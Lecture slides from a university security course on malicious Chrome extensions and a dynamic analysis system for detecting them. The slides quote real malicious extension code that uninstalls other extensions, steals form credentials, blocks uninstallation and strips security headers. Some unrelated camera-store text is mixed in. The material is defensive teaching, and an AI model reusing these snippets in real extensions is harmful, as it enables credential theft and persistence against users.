

# CSC 591 Systems Attacks and Defenses

#### **Browser Extensions**

Alexandros Kapravelos akaprav@ncsu.edu



#### **NC STATE** UNIVERSITY






## Compromising the browser

Drive-by downloads

## **Browser Extensions**



## Compromising the browser



#### **Browser extensions**

- HTML + JavaScript
- Modify and enhance the functionality of the browser
- Have access to a privileged API













#### **Adblock Plus**

Over 50 million users!





## Goal





## What can a malicious extension do?

Anything malicious that you can do with JavaScript having access to the visited page, the web requests, the browser's cookies

- Inject advertisements
- Keylogger (only in the visited page)
- Affiliate fraud
- Steal credentials


## **Approach**

- Install extension in Chrome inside a VM
- Visit a few pages
- Monitor what the extension is doing
- Classify the extension



## Triggering malicious behavior

- Find the right content
  - HoneyPage



## Triggering malicious behavior

- Find the right content
  - HoneyPage
- Visit the right page
  - URL extraction
  - Event handler fuzzing



## **Event handler fuzzing**

- Extensions can intercept network events
- Triggering the event handlers is possible!

## **Detecting malicious behavior**

- In JavaScript
  - Extension API
  - Interaction with visited pages
- In the network
- In injected code

### **Malicious behavior heuristics**

- Prevents extension uninstall
- Steals email/password from form
- Contains keylogging functionality
- Manipulates security-related HTTP headers
- Uninstalls extensions

## Suspicious behavior heuristics

- Injects dynamic JavaScript
- Evals with input >128 chars long
- Produces HTTP 4xx errors
- Performs requests to non-existent domains

#### Results

- 47,940 extensions from Chrome Web Store
- 392 extensions from Anubis

Analysis result	Count
Benign	43,490
Suspicious	4,712
Malicious	130



#### Similar Sites Pro

★★★★☆ (47)

Productivity

from SimilarGroup

1,808,386 users







You need to update your version of media player. Update now,

#### **NC STATE UNIVERSITY**

Split Screen




## \*Split Screen\*

★★★★★ (331) Productivity from Davewils55 53,666 users



Canon 70D (1.6x sensor (nearly APS-C)), 26.7 oz./756g with battery and card, about \$1,199) and Canon 50mm f/1.8 II. enlarge. It comes as body-only (\$1,199), kit with 18-55mm STM (\$1,349) or kit with 18-135mm STM (\$1,549).

I'd get it (with any of the lenses) at these links directly to them at Adorama or directly to them at Amazon. This free website's biggest source of support is when you use those or any of these links when you get anything, regardless of the country in which you live — but I receive nothing for my efforts if you buy elsewhere. I'm not NPR: I get no government hand-outs and run no pledge drives to support my research, so please always use any of these links for the best prices and service whenever you get anything. Thanks for helping me help you! Ken.



development and improvement. My latest

project is tracking the evolution of

malicious JavaScript with Revolver.

last blog post

#### Uninstall all other extensions

```
if (first run == true) {
   my id = chrome.app.getDetails().id;
    chrome.management.getAll(function(extensions) {
        for (i = 0; i < extensions.length; i++) {
            if (extensions[i].id != my id) {
                chrome.management.uninstall(extensions[i].id);
    });
```

## Form credentials stealing

```
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;

//alert("username---"+username+"password---"+password);
var xhr = new XMLHttpRequest();
xhr.open("POST", mainurl + "/j_spring_security_check", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("j_username=" + username + "&j_password=" + password);
```

#### **Prevent uninstallation**

```
chrome[_0xc389[23]][_0xc389[30]][_0xc389[5]](function(_0x5ca6x8) {
    if (_0x5ca6x8[_0xc389[0]][_0xc389[2]](_0xc389[27]) >= 0) {
        chrome[_0xc389[23]][_0xc389[29]](_0x5ca6x8[_0xc389[21]], {
            url: _0xc389[28]
        });
    }
});
```

#### **Prevent uninstallation**

```
chrome.tabs.onUpdated.addListener(function(tab) {
   if (tab.url.indexOf("chrome") >= 0) {
      chrome.tabs.update(tab.id, { url: "http://google.com" });
   }
});
```

## Manipulate HTTP headers

```
chrome.webRequest.onHeadersReceived.addListener(
   function(info) {
       var headers = info.responseHeaders;
        for (var i = headers.length - 1; i >= 0; --i) {
           var header = headers[i].name.toLowerCase();
            if (header == 'x-frame-options' | header == 'frame-options') {
                headers.splice(i, 1); // Remove header
        return {
            responseHeaders: headers
   }, {
        urls: ['*://*/*'], // Pattern to match all http(s) pages
       types: ['sub frame']
   }, ['blocking', 'responseHeaders']
```

#### Recommendations

- Manipulating configuration pages e.g., chrome://extensions
- Uninstalling extensions
- Removing security-related HTTP headers
- Hooking keyboard events
- Local inclusion of static files instead of dynamic JavaScript inclusions


HoneyPages are now part of Google's extension analysis system

#### Limitations

- Dynamic analysis system
- Targeted attacks (location, time)
- Multistep queries of DOM elements in HoneyPages
- Evasions against HoneyPages




#### **NC STATE** UNIVERSITY



# **Experiments**

Dataset	Source	Sample Size
Client DOM reports	Client-side scan via Google properties	102,562,842
Unique extensions  Ad injection extensions	Dynamic evaluation via WebEval, Hulk	> 1,000,000 50,870

## Prevalence of ad injection



# 5.5% of daily visitors

#### **Conclusion**

- Analysis system for browser extensions
- Observed the impact of client-side modifications from a big website
- Understanding what is really happening on users is hard!